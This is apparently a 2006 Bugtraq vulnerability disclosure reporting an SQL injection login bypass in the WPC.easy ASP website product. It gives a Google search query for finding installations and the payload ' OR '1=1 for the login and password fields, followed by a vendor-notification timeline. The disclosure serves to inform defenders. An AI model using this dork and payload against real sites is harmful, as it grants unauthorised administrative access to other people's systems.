SLQ Injection vulnerability in WPCeasy
My first vulnerability report :)
Description:
"WPC.easy" is a database generated website with a dynamic on-line
administration suite which allows for product updates, editing, deleting, image
upload and price changes. "WPC.easy" is powered by a Secure Database.
vendor: http://www.webpagecity.com/wpceasy/wpceasy.asp
Quote:
"WPC.easy" is an interactive self maintained web site, developed with ASP
technology. The web site has a secure, password protected dynamic
administration interface.
Secure ?? Woops.. :)
googledork:
"Thank You for using WPCeasy"
http://www.google.com/search?q=%22Thank+You+for+using+WPCeasy%22&filter=0
SLQ injection:
login: ' OR '1=1
password: ' OR '1=1
Status:
28 jan 2006: vulnerability found
29 jan 2006: vendor notified
30 Jan 2006: vendor responded
18 Feb 2006: still no fix, posted to buqtraq
Greetings to L0om for encouraging me to post this here and everyone at JIHS.